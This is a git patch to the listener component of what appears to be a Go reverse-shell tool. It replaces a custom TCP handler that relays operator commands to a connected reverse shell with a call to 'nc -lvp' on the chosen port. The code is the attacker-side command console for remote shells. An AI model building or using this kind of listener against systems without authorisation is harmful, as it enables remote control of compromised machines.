From 84d8cc9c58769a74f4e462030e6ca392b332a9ae Mon Sep 17 00:00:00 2001 From: Vomitblood Date: Fri, 24 Jan 2025 11:19:19 +0800 Subject: [PATCH] switched to inoking netcat --- internal/listener/listener.go | 74 ++++++----------------------------- 1 file changed, 12 insertions(+), 62 deletions(-) diff --git a/internal/listener/listener.go b/internal/listener/listener.go index 4ffa7c1..1758163 100644 --- a/internal/listener/listener.go +++ b/internal/listener/listener.go @@ -1,78 +1,28 @@ package listener import ( - "bufio" "fmt" - "io" - "net" "os" + "os/exec" ) -func handleConnection(conn net.Conn) { - defer conn.Close() +func startNetcatListener(lport string) { + // Create the command to run netcat as a listener + cmd := exec.Command("nc", "-lvp", lport) - fmt.Println("Connection established. Interacting with reverse shell...") - fmt.Println("Press enter once if prompt does not show up.") + // Set up the output to be printed to the console + cmd.Stdout = os.Stdout + cmd.Stderr = os.Stderr - // Use bufio.NewReader for more interactive input handling - reader := bufio.NewReader(os.Stdin) - - for { - // Read command input interactively from the user - fmt.Print("Shell> ") - cmd, err := reader.ReadString('\n') // Read until Enter is pressed - if err != nil { - fmt.Println("Error reading command:", err) - return - } - - // Send the command to the reverse shell - _, err = conn.Write([]byte(cmd)) - if err != nil { - fmt.Println("Error sending command:", err) - return - } - - // Read the response from the reverse shell - buf := make([]byte, 1024) - n, err := conn.Read(buf) - if err != nil && err != io.EOF { - fmt.Println("Error reading from connection:", err) - return - } - - // Print the reverse shell output - fmt.Print(string(buf[:n])) - } -} - -func startListener(lhost, lport string) { - listenAddress := fmt.Sprintf("%s:%s", lhost, lport) - listener, err := net.Listen("tcp", listenAddress) + // Run the command + err := cmd.Run() if err != nil { - fmt.Println("Error starting listener:", err) + fmt.Println("Error starting netcat listener:", err) os.Exit(1) } - defer listener.Close() - - fmt.Printf("Listening for reverse shell on %s:%s...\n", lhost, lport) - - // Accept incoming connections and handle them - for { - conn, err := listener.Accept() - if err != nil { - fmt.Println("Error accepting connection:", err) - continue - } - - // Handle the connection in a new goroutine - go handleConnection(conn) - } } func Listen(lport string) { - // Listen on everything, lazy - lhost := "0.0.0.0" - - startListener(lhost, lport) + fmt.Printf("Starting netcat listener on port %s...\n", lport) + startNetcatListener(lport) }